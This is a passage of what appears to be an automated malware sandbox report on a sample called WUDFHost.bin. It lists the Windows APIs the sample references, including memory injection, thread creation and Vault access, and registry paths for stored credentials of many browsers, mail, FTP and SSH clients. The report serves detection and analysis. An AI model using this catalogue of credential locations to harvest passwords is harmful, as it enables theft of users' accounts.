00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "InterlockedIncrement"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "InterlockedDecrement"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "SetHandleCount"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetStartupInfoA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "LCMapStringA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetStringTypeA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetLocaleInfoA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "WriteConsoleA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "WTSConnectSessionA"; Source: "00000000-00002664.00000001.68174.0011D000.00000004.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00002664.00000001.68174.00150000.00000040.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00150000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00150000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "LdrGetProcedureAddress"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "RtlSetLastWin32Error"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "ZwQueryInformationProcess"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "RtlCreateUserThread"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "ZwAllocateVirtualMemory"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "NtFreeVirtualMemory"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "NtWriteVirtualMemory"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "ZwReadVirtualMemory"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultEnumerateItems"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultFree"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultGetItem"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultOpenVault"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultCloseVault"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "CryptStringToBinaryA"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "EnumWindows"; Source: "00000000-00002664.00000003.77520.0011D000.00000004.mdmp")2c:T468,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "WUDFHost.bin") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "WUDFHost.bin") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp")2d:T3a7d,"Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00002664.00000000.66253.7F6F0000.00000002.mdmp 00000000-00002664.00000001.68174.7F6F0000.00000002.mdmp 00000000-00002664.00000002.70094.7F6F0000.00000002.mdmp 00000000-00002664.00000003.77520.7F6F0000.00000002.mdmp "SOFTWARE\Microsoft\CryptographyA" in Source: 00000000-00002664.00000001.68174.00150000.00000040.mdmp 00000000-00002664.00000002.70094.00150000.00000040.mdmp 00000000-00002664.00000003.77520.00150000.00000040.mdmp "\Opera Software\Opera Stable" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\Microsoft\Internet Explorer\IntelliForms\Storage2" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\Microsoft\Internet Explorer\TypedURLs" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\Mozilla\Mozilla Firefox" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\Mozilla\Mozilla Thunderbird" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\Mozilla\FossaMail" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\Postbox\Postbox" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\Mozilla\Flock" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\Flock\Flock" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\Mozilla\Pale Moon" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\K-Meleon" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\ComodoGroup\IceDragon\Setup" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\8pecxstudios\Cyberfox86" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\8pecxstudios\Cyberfox" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\mozilla.org\SeaMonkey" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\Mozilla\SeaMonkey" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\Mozilla\Waterfox" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\QtWeb.NET\QtWeb Internet Browser\AutoComplete" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\Apple Computer, Inc.\Safari" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\IncrediMail\Identities" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\Bitvise\BvSshClient" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\FlashPeak\BlazeFtp\Settings" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\NCH Software\ClassicFTP\FTPAccounts" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\Far\Plugins\FTP\Hosts" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\Far2\Plugins\FTP\Hosts" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\NCH Software\Fling\Accounts" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\LinasFTP\Site Manager" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "%s\INSoftware\NovaFTP\NovaFTP.db" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\9bis.com\KiTTY\Sessions" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 